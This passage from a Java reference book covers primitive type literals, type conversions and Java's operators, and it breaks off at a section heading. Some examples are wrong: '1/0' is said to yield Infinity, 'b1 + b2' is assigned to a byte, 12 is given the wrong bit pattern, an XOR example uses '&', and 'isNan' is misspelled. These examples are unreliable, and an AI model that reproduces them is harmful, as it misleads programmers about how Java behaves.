\xxx | The Latin-1 character with the encoding xxx, where xxx is an octal (base 8) number between 000 and 377. The forms \x and \xx are also legal, as in '\0', but are not recommended because they can cause difficulties in string constants where the escape sequence is followed by a regular digit.
\u xxxx | The Unicode character with encoding xxxx, where xxxx is four hexadecimal digits. Unicode escapes can appear anywhere in a Java program, not only in character and string literals.

char values can be converted to and from the various integral types. Unlike byte, short, int, and long, however, char is an unsigned type. The Character class defines a number of useful static methods for working with characters, including isDigit(), isJavaLetter(), isLowerCase(), and toUpperCase().

2.4.3. Integer Types

The integer types in Java are byte, short, int, and long. As shown in Table 2-2, these four types differ only in the number of bits and, therefore, in the range of numbers each type can represent. All integral types represent signed numbers; there is no unsigned keyword as there is in C and C++.

Literals for each of these types are written exactly as you would expect: as a string of decimal digits. Although it is not technically part of the literal syntax, any integer literal can be preceded by the unary minus operator to indicate a negative number. Here are some legal integer literals:

0
1
123
-42000

Integer literals can also be expressed in hexadecimal or octal notation. A literal that begins with 0x or 0X is taken as a hexadecimal number, using the letters A to F (or a to f) as the additional digits required for base-16 numbers. Integer literals beginning with a leading 0 are taken to be octal (base-8) numbers and cannot include the digits 8 or 9. Java does not allow integer literals to be expressed in binary (base-2) notation. Legal hexadecimal and octal literals include:

0xff              // Decimal 255, expressed in hexadecimal
0377              // The same number, expressed in octal (base 8)
0xCAFEBABE        // A magic number used to identify Java class files

Integer literals are 32-bit int values unless they end with the character L or l, in which case they are 64-bit long values:

1234        // An int value
1234L       // A long value
0xffL       // Another long value

Integer arithmetic in Java is modular, which means that it never produces an overflow or an underflow when you exceed the range of a given integer type. Instead, numbers just wrap around. For example:

byte b1 = 127, b2 = 1;   // Largest byte is 127
byte sum = b1 + b2;      // Sum wraps to -128, which is the smallest byte

Neither the Java compiler nor the Java interpreter warns you in any way when this occurs. When doing integer arithmetic, you simply must ensure that the type you are using has a sufficient range for the purposes you intend. Integer division by zero and modulo by zero are illegal and cause an ArithmeticException to be thrown.

Each integer type has a corresponding wrapper class: Byte, Short, Integer, and Long. Each of these classes defines MIN_VALUE and MAX_VALUE constants that describe the range of the type. The classes also define useful static methods, such as Byte.parseByte() and Integer.parseInt(), for converting strings to integer values.

2.4.4. Floating-Point Types

Real numbers in Java are represented with the float and double data types. As shown in Table 2-3, float is a 32-bit, single-precision floating-point value, and double is a 64-bit, double-precision floating-point value. Both types adhere to the IEEE 754-1985 standard, which specifies both the format of the numbers and the behavior of arithmetic for the numbers.

Floating-point values can be included literally in a Java program as an optional string of digits, followed by a decimal point and another string of digits. Here are some examples:

123.45
0.0
.01

Floating-point literals can also use exponential, or scientific, notation, in which a number is followed by the letter e or E (for exponent) and another number. This second number represents the power of ten by which the first number is multiplied. For example:

1.2345E02      // 1.2345 * 10^2, or 123.45
1e-6           // 1 * 10^-6, or 0.000001
6.02e23        // Avagadro's Number: 6.02 * 10^23

Floating-point literals are double values by default. To include a float value literally in a program, follow the number by the character f or F:

double d = 6.02E23;
float f = 6.02e23f;

Floating-point literals cannot be expressed in hexadecimal or octal notation.

Most real numbers, by their very nature, cannot be represented exactly in any finite number of bits. Thus, it is important to remember that float and double values are only approximations of the numbers they are meant to represent. A float is a 32-bit approximation, which results in at least 6 significant decimal digits, and a double is a 64-bit approximation, which results in at least 15 significant digits. In practice, these data types are suitable for most real-number computations.

In addition to representing ordinary numbers, the float and double types can also represent four special values: positive and negative infinity, zero, and NaN. The infinity values result when a floating-point computation produces a value that overflows the representable range of a float or double. When a floating-point computation underflows the representable range of a float or a double, a zero value results. The Java floating-point types make a distinction between positive zero and negative zero, depending on the direction from which the underflow occurred. In practice, positive and negative zero behave pretty much the same. Finally, the last special floating-point value is NaN, which stands for not-a-number. The NaN value results when an illegal floating-point operation, such as 0/0, is performed. Here are examples of statements that result in these special values:

double inf = 1/0;             // Infinity
double neginf = -1/0;         // -Infinity
double negzero = -1/inf;      // Negative zero
double NaN = 0/0;             // NaN

Because the Java floating-point types can handle overflow to infinity and underflow to zero and have a special NaN value, floating-point arithmetic never throws exceptions, even when performing illegal operations, like dividing zero by zero or taking the square root of a negative number.

The float and double primitive types have corresponding classes, named Float and Double. Each of these classes defines the following useful constants: MIN_VALUE, MAX_VALUE, NEGATIVE_INFINITY, POSITIVE_INFINITY, and NaN.

The infinite floating-point values behave as you would expect. Adding or subtracting anything to or from infinity, for example, yields infinity. Negative zero behaves almost identically to positive zero, and, in fact, the = = equality operator reports that negative zero is equal to positive zero. The only way to distinguish negative zero from positive, or regular, zero is to divide by it. 1/0 yields positive infinity, but 1 divided by negative zero yields negative infinity. Finally, since NaN is not-a-number, the = = operator says that it is not equal to any other number, including itself ! To check whether a float or double value is NaN, you must use the Float.isNan() and Double.isNan() methods.

2.4.5. Strings

In addition to the boolean, character, integer, and floating-point data types, Java also has a data type for working with strings of text (usually simply called strings). The String type is a class, however, and is not one of the primitive types of the language. Because strings are so commonly used, though, Java does have a syntax for including string values literally in a program. A String literal consists of arbitrary text within double quotes. For example:

"Hello, world"
"'This' is a string!"

String literals can contain any of the escape sequences that can appear as char literals (see Table 2-3). Use the \" sequence to include a double-quote within a String literal. Strings and string literals are discussed in more detail later in this chapter. Chapter 4, "The Java Platform", demonstrates some of the ways you can work with String objects in Java.

2.4.6. Type Conversions

Java allows conversions between integer values and floating-point values. In addition, because every character corresponds to a number in the Unicode encoding, char types can be converted to and from the integer and floating-point types. In fact, boolean is the only primitive type that cannot be converted to or from another primitive type in Java.

There are two basic types of conversions. A widening conversion occurs when a value of one type is converted to a wider type--one that is represented with more bits and therefore has a wider range of legal values. A narrowing conversion occurs when a value is converted to a type that is represented with fewer bits. Java performs widening conversions automatically when, for example, you assign an int literal to a double variable or a char literal to an int variable.

Narrowing conversions are another matter, however, and are not always safe. It is reasonable to convert the integer value 13 to a byte, for example, but it is not reasonable to convert 13000 to a byte, since byte can only hold numbers between -128 and 127. Because you can lose data in a narrowing conversion, the Java compiler complains when you attempt any narrowing conversion, even if the value being converted would in fact fit in the narrower range of the specified type:

int i = 13;
byte b = i;    // The compiler does not allow this

The one exception to this rule is that you can assign an integer literal (an int value) to a byte or short variable, if the literal falls within the range of the variable.

If you need to perform a narrowing conversion and are confident you can do so without losing data or precision, you can force Java to perform the conversion using a language construct known as a cast. Perform a cast by placing the name of the desired type in parentheses before the value to be converted. For example:

int i = 13;
byte b = (byte) i;   // Force the int to be converted to a byte
i = (int) 13.456;    // Force this double literal to the int 13

Casts of primitive types are most often used to convert floating-point values to integers. When you do this, the fractional part of the floating-point value is simply truncated (i.e., the floating-point value is rounded towards zero, not towards the nearest integer). The methods Math.round(), Math.floor(), and Math.ceil() perform other types of rounding.

The char type acts like an integer type in most ways, so a char value can be used anywhere an int or long value is required. Recall, however, that the char type is unsigned, so it behaves differently than the short type, even though both of them are 16 bits wide:

short s = (short) 0xffff; // These bits represent the number -1
char c = '\uffff';        // The same bits, representing a Unicode character
int i1 = s;               // Converting the short to an int yields -1
int i2 = c;               // Converting the char to an int yields 65535

Table 2-4 is a grid that shows which primitive types can be converted to which other types and how the conversion is performed. The letter N in the table means that the conversion cannot be performed. The letter Y means that the conversion is a widening conversion and is therefore performed automatically and implicitly by Java. The letter C means that the conversion is a narrowing conversion and requires an explicit cast. Finally, the notation Y* means that the conversion is an automatic widening conversion, but that some of the least significant digits of the value may be lost by the conversion. This can happen when converting an int or long to a float or double. The floating-point types have a larger range than the integer types, so any int or long can be represented by a float or double. However, the floating-point types are approximations of numbers and cannot always hold as many significant digits as the integer types.

Table 2-4. Java Primitive Type Conversions

Convert | Convert To:
From: | boolean | byte | short | char | int | long | float | double
boolean | - | N | N | N | N | N | N | N
byte | N | - | Y | C | Y | Y | Y | Y
short | N | C | - | C | Y | Y | Y | Y
char | N | C | C | - | Y | Y | Y | Y
int | N | C | C | C | - | Y | Y* | Y
long | N | C | C | C | C | - | Y* | Y*
float | N | C | C | C | C | C | - | Y
double | N | C | C | C | C | C | C | -

2.4.7. Reference Types

In addition to its eight primitive types, Java defines two additional categories of data types: classes and arrays. Java programs consist of class definitions; each class defines a new data type that can be manipulated by Java programs. For example, a program might define a class named Point and use it to store and manipulate X,Y points in a Cartesian coordinate system. This makes Point a new data type in that program. An array type represents a list of values of some other type. char is a data type, and an array of char values is another data type, written char[]. An array of Point objects is a data type, written Point[]. And an array of Point arrays is yet another type, written Point[][].

As you can see, there are an infinite number of possible class and array data types. Collectively, these data types are known as reference types. The reason for this name will become clear later in this chapter. For now, however, what is important to understand is that class and array types differ significantly from primitive types, in that they are compound, or composite, types. A primitive data type holds exactly one value. Classes and arrays are aggregate types that contain multiple values. The Point type, for example, holds two double values representing the X and Y coordinates of the point. And char[] is obviously a compound type because it represents a list of characters. By their very nature, class and array types are more complicated than the primitive data types. We'll discuss classes and arrays in detail later in this chapter and examine classes in even more detail in Chapter 3, "Object-Oriented Programming in Java".

Previous | Home | Next
2.3. Identifiers and Reserved Words | Book Index | 2.5. Expressions and Operators
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Expressions and Operators (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.5. Expressions and Operators

So far in this chapter, we've learned about the primitive types that Java programs can manipulate and seen how to include primitive values as literals in a Java program. We've also used variables as symbolic names that represent, or hold, values. These literals and variables are the tokens out of which Java programs are built.

An expression is the next higher level of structure in a Java program. The Java interpreter evaluates an expression to compute its value. The very simplest expressions are called primary expressions and consist of literals and variables. So, for example, the following are all expressions:

1.7         // An integer literal
true        // A boolean literal
sum         // A variable

When the Java interpreter evaluates a literal expression, the resulting value is the literal itself. When the interpreter evaluates a variable expression, the resulting value is the value stored in the variable.

Primary expressions are not very interesting. More complex expressions are made by using operators to combine primary expressions. For example, the following expression uses the assignment operator to combine two primary expressions--a variable and a floating-point literal--into an assignment expression:

sum = 1.7

But operators are used not only with primary expressions; they can also be used with expressions at any level of complexity. Thus, the following are all legal expressions:

sum = 1 + 2 + 3*1.2 + (4 + 8)/3.0
sum/Math.sqrt(3.0 * 1.234)
(int)(sum + 33)

2.5.1. Operator Summary

The kinds of expressions you can write in a programming language depend entirely on the set of operators available to you. Table 2-5 summarizes the operators available in Java. The P and A columns of the table specify the precedence and associativity of each group of related operators, respectively.

Table 2-5. Java Operators

P | A | Operator | Operand Type(s) | Operation Performed
15 | L | . | object, member | object member access
 |  | [] | array, int | array element access
 |  | ( args ) | method, arglist | method invocation
 |  | ++, − − | variable | post-increment, decrement
14 | R | ++, − − | variable | pre-increment, decrement
 |  | +, − | number | unary plus, unary minus
 |  | ~ | integer | bitwise complement
 |  | ! | boolean | boolean NOT
13 | R | new | class, arglist | object creation
 |  | ( type ) | type, any | cast (type conversion)
12 | L | *, /, % | number, number | multiplication, division, remainder
11 | L | +, − | number, number | addition, subtraction
 |  | + | string, any | string concatenation
10 | L | << | integer, integer | left shift
 |  | >> | integer, integer | right shift with sign extension
 |  | >>> | integer, integer | right shift with zero extension
9 | L | <, <= | number, number | less than, less than or equal
 |  | >, >= | number, number | greater than, greater than or equal
 |  | instanceof | reference, type | type comparison
8 | L | = = | primitive, primitive | equal (have identical values)
 |  | != | primitive, primitive | not equal (have different values)
 |  | = = | reference, reference | equal (refer to same object)
 |  | != | reference, reference | not equal (refer to different objects)
7 | L | & | integer, integer | bitwise AND
 |  | & | boolean, boolean | boolean AND
6 | L | ^ | integer, integer | bitwise XOR
 |  | ^ | boolean, boolean | boolean XOR
5 | L | | | integer, integer | bitwise OR
 |  | | | boolean, boolean | boolean OR
4 | L | && | boolean, boolean | conditional AND
3 | L | || | boolean, boolean | conditional OR
2 | R | ?: | boolean, any, any | conditional (ternary) operator
1 | R | = | variable, any | assignment
 |  | *=, /=, %=, | variable, any | assignment with operation
 |  | +=, −=, <<=, |  |
 |  | >>=, >>>=, |  |
 |  | &=, ^=, |= |  |

2.5.1.1. Precedence

The P column of Table 2-5 specifies the precedence of each operator. Precedence specifies the order in which operations are performed. Consider this expression:

a + b * c

The multiplication operator has higher precedence than the addition operator, so a is added to the product of b and c. Operator precedence can be thought of as a measure of how tightly operators bind to their operands. The higher the number, the more tightly they bind.

Default operator precedence can be overridden through the use of parentheses, to explicitly specify the order of operations. The previous expression can be rewritten as follows to specify that the addition should be performed before the multiplication:

(a + b) * c

The default operator precedence in Java was chosen for compatibility with C; the designers of C chose this precedence so that most expressions can be written naturally without parentheses. There are only a few common Java idioms for which parentheses are required. Examples include:

// Class cast combined with member access
((Integer) o).intValue();

// Assignment combined with comparison
while((line = in.readLine()) != null) { ... }

// Bitwise operators combined with comparison
if ((flags & (PUBLIC | PROTECTED)) != 0) { ... }

2.5.1.2. Associativity

When an expression involves several operators that have the same precedence, the operator associativity governs the order in which the operations are performed. Most operators are left-to-right associative, which means that the operations are performed from left to right. The assignment and unary operators, however, have right-to-left associativity. The A column of Table 2-5 specifies the associativity of each operator or group of operators. The value L means left to right, and R means right to left.

The additive operators are all left-to-right associative, so the expression a+b-c is evaluated from left to right: (a+b)-c. Unary operators and assignment operators are evaluated from right to left. Consider this complex expression:

a = b += c = -~d

This is evaluated as follows:

a = (b += (c = -(~d)))

As with operator precedence, operator associativity establishes a default order of evaluation for an expression. This default order can be overridden through the use of parentheses. However, the default operator associativity in Java has been chosen to yield a natural expression syntax, and you rarely need to alter it.

2.5.1.3. Operand number and type

The fourth column of Table 2-5 specifies the number and type of the operands expected by each operator. Some operators operate on only one operand; these are called unary operators. For example, the unary minus operator changes the sign of a single number:

-n             // The unary minus operator

Most operators, however, are binary operators that operate on two operand values. The − operator actually comes in both forms:

a - b          // The subtraction operator is a binary operator

Java also defines one ternary operator, often called the conditional operator. It is like an if statement inside an expression. Its three operands are separated by a question mark and a colon; the second and third operators must both be of the same type:

x > y ? x : y  // Ternary expression; evaluates to the larger of x and y

In addition to expecting a certain number of operands, each operator also expects particular types of operands. Column four of the table lists the operand types. Some of the codes used in that column require further explanation:

number

An integer, floating-point value, or character (i.e., any primitive type except boolean)

integer

A byte, short, int, long, or char value (long values are not allowed for the array access operator [])

reference

An object or array

variable

A variable or anything else, such as an array element, to which a value can be assigned

2.5.1.4. Return type

Just as every operator expects its operands to be of specific types, each operator produces a value of a specific type. The arithmetic, increment and decrement, bitwise, and shift operators return a double if at least one of the operands is a double. Otherwise, they return a float if at least one of the operands is a float. Otherwise, they return a long if at least one of the operands is a long. Otherwise, they return an int, even if both operands are byte, short, or char types that are narrower than int.

The comparison, equality, and boolean operators always return boolean values. Each assignment operator returns whatever value it assigned, which is of a type compatible with the variable on the left side of the expression. The conditional operator returns the value of its second or third argument (which must both be of the same type).

2.5.1.5. Side effects

Every operator computes a value based on one or more operand values. Some operators, however, have side effects in addition to their basic evaluation. If an expression contains side effects, evaluating it changes the state of a Java program in such a way that evaluating the expression again may yield a different result. For example, the ++ increment operator has the side effect of incrementing a variable. The expression ++a increments the variable a and returns the newly incremented value. If this expression is evaluated again, the value will be different. The various assignment operators also have side effects. For example, the expression a*=2 can also be written as a=a*2. The value of the expression is the value of a multiplied by 2, but the expression also has the side effect of storing that value back into a. The method invocation operator () has side effects if the invoked method has side effects. Some methods, such as Math.sqrt(), simply compute and return a value without side effects of any kind. Typically, however, methods do have side effects. Finally, the new operator has the profound side effect of creating a new object.

2.5.1.6. Order of evaluation

When the Java interpreter evaluates an expression, it performs the various operations in an order specified by the parentheses in the expression, the precedence of the operators, and the associativity of the operators. Before any operation is performed, however, the interpreter first evaluates the operands of the operator. (The exceptions are the &&, ||, and ?: operators, which do not always evaluate all their operands.) The interpreter always evaluates operands in order from left to right. This matters if any of the operands are expressions that contain side effects. Consider this code, for example:

int a = 2;
int v = ++a + ++a * ++a;

Although the multiplication is performed before the addition, the operands of the + operator are evaluated first. Thus, the expression evaluates to 3+4*5, or 23.

2.5.2. Arithmetic Operators

Since most programs operate primarily on numbers, the most commonly used operators are often those that perform arithmetic operations. The arithmetic operators can be used with integers, floating-point numbers, and even characters (i.e., they can be used with any primitive type other than boolean). If either of the operands is a floating-point number, floating-point arithmetic is used; otherwise, integer arithmetic is used. This matters because integer arithmetic and floating-point arithmetic differ in the way division is performed and in the way underflows and overflows are handled, for example. The arithmetic operators are:

Addition (+)

The + operator adds two numbers. As we'll see shortly, the + operator can also be used to concatenate strings. If either operand of + is a string, the other one is converted to a string as well. Be sure to use parentheses when you want to combine addition with concatenation. For example:

System.out.println("Total: " + 3 + 4);    // Prints "Total: 34", not 7!

Subtraction (−)

When − is used as a binary operator, it subtracts its second operand from its first. For example, 7-3 evaluates to 4. The − operator can perform unary negation.

Multiplication (*)

The * operator multiplies its two operands. For example, 7*3 evaluates to 21.

Division (/)

The / operator divides its first operand by its second. If both operands are integers, the result is an integer, and any remainder is lost. If either operand is a floating-point value, however, the result is a floating-point value. When dividing two integers, division by zero throws an ArithmeticException. For floating-point calculations, however, division by zero simply yields an infinite result or NaN:

7/3          // Evaluates to 2
7/3.0f       // Evaluates to 2.333333f
7/0          // Throws an ArithmeticException
7/0.0        // Evaluates to positive infinity
0.0/0.0      // Evaluates to NaN

Modulo (%)

The % operator computes the first operand modulo the second operand (i.e., it returns the remainder when the first operand is divided by the second operand an integral number of times). For example, 7%3 is 1. The sign of the result is the same as the sign of the first operand. While the modulo operator is typically used with integer operands, it also works for floating-point values. For example, 4.3%2.1 evaluates to 0.1. When operating with integers, trying to compute a value modulo zero causes an ArithmeticException. When working with floating-point values, anything modulo 0.0 evaluates to NaN, as does infinity modulo anything.

Unary Minus (−)

When − is used as a unary operator, before a single operand, it performs unary negation. In other words, it converts a positive value to an equivalently negative value, and vice versa.

2.5.3. String Concatenation Operator

In addition to adding numbers, the + operator (and the related += operator) also concatenates, or joins, strings. If either of the operands to + is a string, the operator converts the other operand to a string. For example:

System.out.println("Quotient: " + 7/3.0f);  // Prints "Quotient: 2.3333333"

As a result, you must be careful to put any addition expressions in parentheses when combining them with string concatenation. If you do not, the addition operator is interpreted as a concatenation operator.

The Java interpreter has built-in string conversions for all primitive types. An object is converted to a string by invoking its toString() method. Some classes define custom toString() methods, so that objects of that class can easily be converted to strings in this way. An array is converted to a string by invoking the built-in toString() method, which, unfortunately, does not return a useful string representation of the array contents.

2.5.4. Increment and Decrement Operators

The ++ operator increments its single operand, which must be a variable, an element of an array, or a field of an object, by one. The behavior of this operator depends on its position relative to the operand. When used before the operand, where it is known as the pre-increment operator, it increments the operand and evaluates to the incremented value of that operand. When used after the operand, where it is known as the post-increment operator, it increments its operand, but evaluates to the value of that operand before it was incremented.

For example, the following code sets both i and j to 2:

i = 1;
j = ++i;

But these lines set i to 2 and j to 1:

i = 1;
j = i++;

Similarly, the − − operator decrements its single numeric operand, which must be a variable, an element of an array, or a field of an object, by one. Like the ++ operator, the behavior of − − depends on its position relative to the operand. When used before the operand, it decrements the operand and returns the decremented value. When used after the operand, it decrements the operand, but returns the un-decremented value.

The expressions x++ and x− − are equivalent to x=x+1 and x=x−1, respectively, except that when using the increment and decrement operators, x is only evaluated once. If x is itself an expression with side effects, this makes a big difference. For example, these two expressions are not equivalent:

a[i++]++;             // Increments an element of an array
a[i++] = a[i++] + 1;  // Adds one to an array element and stores it in another

These operators, in both prefix and postfix forms, are most commonly used to increment or decrement the counter that controls a loop.

2.5.5. Comparison Operators

The comparison operators consist of the equality operators that test values for equality or inequality and the relational operators used with ordered types (numbers and characters) to test for greater than and less than relationships. Both types of operators yield a boolean result, so they are typically used with if statements and while and for loops to make branching and looping decisions. For example:

if (o != null) ...;           // The not equals operator
while(i < a.length) ...;      // The less than operator

Java provides the following equality operators:

Equals (= =)

The = = operator evaluates to true if its two operands are equal and false otherwise. With primitive operands, it tests whether the operand values themselves are identical. For operands of reference types, however, it tests whether the operands refer to the same object or array. In other words, it does not test the equality of two distinct objects or arrays. In particular, note that you cannot test two distinct strings for equality with this operator.

If = = is used to compare two numeric or character operands that are not of the same type, the narrower operand is converted to the type of the wider operand before the comparison is done. For example, when comparing a short to a float, the short is first converted to a float before the comparison is performed. For floating-point numbers, the special negative zero value tests equal to the regular, positive zero value. Also, the special NaN (not-a-number) value is not equal to any other number, including itself. To test whether a floating-point value is NaN, use the Float.isNan() or Double.isNan() method.

Not Equals (!=)

The != operator is exactly the opposite of the = = operator. It evaluates to true if its two primitive operands have different values or if its two reference operands refer to different objects or arrays. Otherwise, it evaluates to false.

The relational operators can be used with numbers and characters, but not with boolean values, objects, or arrays because those types are not ordered. Java provides the following relational operators:

Less Than (<)

Evaluates to true if the first operand is less than the second.

Less Than or Equal (<=)

Evaluates to true if the first operand is less than or equal to the second.

Greater Than (>)

Evaluates to true if the first operand is greater than the second.

Greater Than or Equal (>=)

Evaluates to true if the first operand is greater than or equal to the second.

2.5.6. Boolean Operators

As we've just seen, the comparison operators compare their operands and yield a boolean result, which is often used in branching and looping statements. In order to make branching and looping decisions based on conditions more interesting than a single comparison, you can use the Boolean (or logical) operators to combine multiple comparison expressions into a single, more complex, expression. The Boolean operators require their operands to be boolean values and they evaluate to boolean values. The operators are:

Conditional AND (&&)

This operator performs a Boolean AND operation on its operands. It evaluates to true if and only if both its operands are true. If either or both operands are false, it evaluates to false. For example:

if (x < 10 && y > 3) ... // If both comparisons are true

This operator (and all the Boolean operators except the unary ! operator) have a lower precedence than the comparison operators. Thus, it is perfectly legal to write a line of code like the one above. However, some programmers prefer to use parentheses to make the order of evaluation explicit:

if ((x < 10) && (y > 3)) ...

You should use whichever style you find easier to read.

This operator is called a conditional AND because it conditionally evaluates its second operand. If the first operand evaluates to false, the value of the expression is false, regardless of the value of the second operand. Therefore, to increase efficiency, the Java interpreter takes a shortcut and skips the second operand. Since the second operand is not guaranteed to be evaluated, you must use caution when using this operator with expressions that have side effects. On the other hand, the conditional nature of this operator allows us to write Java expressions such as the following:

if (data != null && i < data.length && data[i] != -1) ...

The second and third comparisons in this expression would cause errors if the first or second comparisons evaluated to false. Fortunately, we don't have to worry about this because of the conditional behavior of the && operator.

Conditional OR (||)

This operator performs a Boolean OR operation on its two boolean operands. It evaluates to true if either or both of its operands are true. If both operands are false, it evaluates to false. Like the && operator, || does not always evaluate its second operand. If the first operand evaluates to true, the value of the expression is true, regardless of the value of the second operand. Thus, the operator simply skips that second operand in that case.

Boolean NOT (!)

This unary operator changes the boolean value of its operand. If applied to a true value, it evaluates to false, and if applied to a false value, it evaluates to true. It is useful in expressions like these:

if (!found) ...          // found is a boolean variable declared somewhere
while (!c.isEmpty()) ... // The isEmpty() method returns a boolean value

Because ! is a unary operator, it has a high precedence and often must be used with parentheses:

if (!(x > y && y > z))

Boolean AND (&)

When used with boolean operands, the & operator behaves like the && operator, except that it always evaluates both operands, regardless of the value of the first operand. This operator is almost always used as a bitwise operator with integer operands, however, and many Java programmers would not even recognize its use with boolean operands as legal Java code.

Boolean OR (|)

This operator performs a Boolean OR operation on its two boolean operands. It is like the || operator, except that it always evaluates both operands, even if the first one is true. The | operator is almost always used as a bitwise operator on integer operands; its use with boolean operands is very rare.

Boolean XOR (^)

When used with boolean operands, this operator computes the Exclusive OR (XOR) of its operands. It evaluates to true if exactly one of the two operands is true. In other words, it evaluates to false if both operands are false or if both operands are true. Unlike the && and || operators, this one must always evaluate both operands. The ^ operator is much more commonly used as a bitwise operator on integer operands. With boolean operands, this operator is equivalent to the != operator.

2.5.7. Bitwise and Shift Operators

The bitwise and shift operators are low-level operators that manipulate the individual bits that make up an integer value. The bitwise operators are most commonly used for testing and setting individual flag bits in a value. In order to understand their behavior, you must understand binary (base-2) numbers and the twos-complement format used to represent negative integers. You cannot use these operators with floating-point, boolean, array, or object operands. When used with boolean operands, the &, |, and ^ operators perform a different operation, as described in the previous section.

If either of the arguments to a bitwise operator is a long, the result is a long. Otherwise, the result is an int. If the left operand of a shift operator is a long, the result is a long; otherwise, the result is an int. The operators are:

Bitwise Complement (~)

The unary ~ operator is known as the bitwise complement, or bitwise NOT, operator. It inverts each bit of its single operand, converting ones to zeros and zeros to ones. For example:

byte b = ~12;           // ~00000110 ==> 11111001 or -13 decimal
flags = flags & ~f;     // Clear flag f in a set of flags

Bitwise AND (&)

This operator combines its two integer operands by performing a Boolean AND operation on their individual bits. The result has a bit set only if the corresponding bit is set in both operands. For example:

10 & 7                   // 00001010 & 00000111 ==> 00000010 or 2
if ((flags & f) != 0)    // Test whether flag f is set

When used with boolean operands, & is the infrequently used Boolean AND operator described earlier.

Bitwise OR (|)

This operator combines its two integer operands by performing a Boolean OR operation on their individual bits. The result has a bit set if the corresponding bit is set in either or both of the operands. It has a zero bit only where both corresponding operand bits are zero. For example:

10 | 7               // 00001010 | 00000111 ==> 00001111 or 15
flags = flags | f;   // Set flag f

When used with boolean operands, | is the infrequently used Boolean OR operator described earlier.

Bitwise XOR (^)

This operator combines its two integer operands by performing a Boolean XOR (Exclusive OR) operation on their individual bits. The result has a bit set if the corresponding bits in the two operands are different. If the corresponding operand bits are both ones or both zeros, the result bit is a zero. For example:

10 & 7               // 00001010 ^ 00000111 ==> 00001101 or 13

When used with boolean operands, ^ is the infrequently used Boolean XOR operator.

Left Shift (<<)

The << operator shifts the bits of the left operand left by the number of places specified by the right operand. High-order bits of the left operand are lost, and zero bits are shifted in from the right. Shifting an integer left by n places is equivalent to multiplying that number by 2n. For example:

10 << 1    // 00001010 << 1 = 00010100 = 20 = 10*2
7 << 3     // 00000111 << 3 = 00111000 = 56 = 7*8
-1 << 2    // 0xFFFFFFFF << 2 = 0xFFFFFFFC = -4 = -1*4

If the left operand is a long, the right operand should be between 0 and 63. Otherwise, the left operand is taken to be an int, and the right operand should be between 0 and 31.

Signed Right Shift (>>)

The >> operator shifts the bits of the left operand to the right by the number of places specified by the right operand. The low-order bits of the left operand are shifted away and are lost. The high-order bits shifted in are the same as the original high-order bit of the left operand. In other words, if the left operand is positive, zeros are shifted into the high-order bits. If the left operand is negative, ones are shifted in instead. This technique is known as sign extension; it is used to preserve the sign of the left operand. For example:

10 >> 1      // 00001010 >> 1 = 00000101 = 5 = 10/2
27 >> 3      // 00011011 >> 3 = 00000011 = 3 = 27/8
-50 >> 2     // 11001110 >> 2 = 11110011 = -13 != -50/4

If the left operand is positive and the right operand is n, the >> operator is the same as integer division by 2n.

Unsigned Right Shift (>>>)

This operator is like the >> operator, except that it always shifts zeros into the high-order bits of the result, regardless of the sign of the left-hand operand. This technique is called zero extension ; it is appropriate when the left operand is being treated as an unsigned value (despite the fact that Java integer types are all signed). Examples:

-50 >>> 2     // 11001110 >>> 2 = 00110011 = 51
0xff >>> 4    // 11111111 >>> 4 = 00001111 = 15  = 255/16

2.5.8. Assignment Operators

The assignment operators store, or assign, a value into some kind of variable. The left operand must evaluate to an appropriate local variable, array element, or object field. The right side can be any value of a type compatible with the variable. An assignment expression evaluates to the value that is assigned to the variable. More importantly, however, the expression has the side effect of actually performing the assignment. Unlike all other binary operators, the assignment operators are right-associative, which means that the assignments in a=b=c are performed right-to-left, as follows: a=(b=c).

The basic assignment operator is =. Do not confuse it with the equality operator, = =. In order to keep these two operators distinct, I recommend that you read = as "is assigned the value."

In addition to this simple assignment operator, Java also defines 11 other operators that combine assignment with the 5 arithmetic operators and the 6 bitwise and shift operators. For example, the += operator reads the value of the left variable, adds the value of the right operand to it, stores the sum back into the left variable as a side effect, and returns the sum as the value of the expression. Thus, the expression x+=2 is almost the same x=x+2. The difference between these two expressions is that when you use the += operator, the left operand is evaluated only once. This makes a difference when that operand has a side effect. Consider the following two expressions, which are not equivalent:

a[i++] += 2;
a[i++] = a[i++] + 2;

The general form of these combination assignment operators is:

var op= value

This is equivalent (unless there are side effects in var) to:

var = var op value

The available operators are:

+=    −=    *=    /=    %=    // Arithmetic operators plus assignment
&=    |=    ^=                // Bitwise operators plus assignment
<<=   >>=   >>>=              // Shift operators plus assignment

The most commonly used operators are += and − =, although &= and |= can also be useful when working with boolean flags. For example:

i += 2;          // Increment a loop counter by 2
c −= 5;          // Decrement a counter by 5
flags |= f;      // Set a flag f in an integer set of flags
flags &= ~f;     // Clear a flag f in an integer set of flags

2.5.9. The Conditional Operator

The conditional operator ?: is a somewhat obscure ternary (three-operand) operator inherited from C. It allows you to embed a conditional within an expression. You can think of it as the operator version of the if/else statement. The first and second operands of the conditional operator are separated by a question mark (?), while the second and third operands are separated by a colon (:). The first operand must evaluate to a boolean value. The second and third operands can be of any type, but they must both be of the same type.

The conditional operator starts by evaluating its first operand. If it is true, the operator evaluates its second operand and uses that as the value of the expression. On the other hand, if the first operand is false, the conditional operator evaluates and returns its third operand. The conditional operator never evaluates both its second and third operand, so be careful when using expressions with side effects with this operator. Examples of this operator are:

int max = (x > y) ? x : y;
String name = (name != null) ? name : "unknown";

Note that the ?: operator has lower precedence than all other operators except the assignment operators, so parentheses are not usually necessary around the operands of this operator. Many programmers find conditional expressions easier to read if the first operand is placed within parentheses, however. This is especially true because the conditional if statement always has its conditional expression written within parentheses.

2.5.10. The instanceof Operator

The instanceof operator requires an object or array value as its left operand and the name of a reference type as its right operand. It evaluates to true if the object or array is an instance of the specified type; it returns false otherwise. If the left operand is null, instanceof always evaluates to false. If an instanceof expression evaluates to true, it means that you can safely cast and assign the left operand to a variable of the type of the right operand.

The instanceof operator can be used only with array and object types and values, not primitive types and values. Object and array types are discussed in detail later in this chapter. Examples of instanceof are:

"string" instanceof String      // True: all strings are instances of String
"" instanceof Object            // True: strings are also instances of Object
new int[] {1} instanceof int[]  // True: the array value is an int array
new int[] {1} instanceof byte[] // False: the array value is not a byte array
new int[] {1} instanceof Object // True: all arrays are instances of Object
null instanceof String          // False: null is never instanceof anything

// Use instanceof to make sure that it is safe to cast an object
if (object instanceof Point) {
  Point p = (Point) object;
}

2.5.11. Special Operators

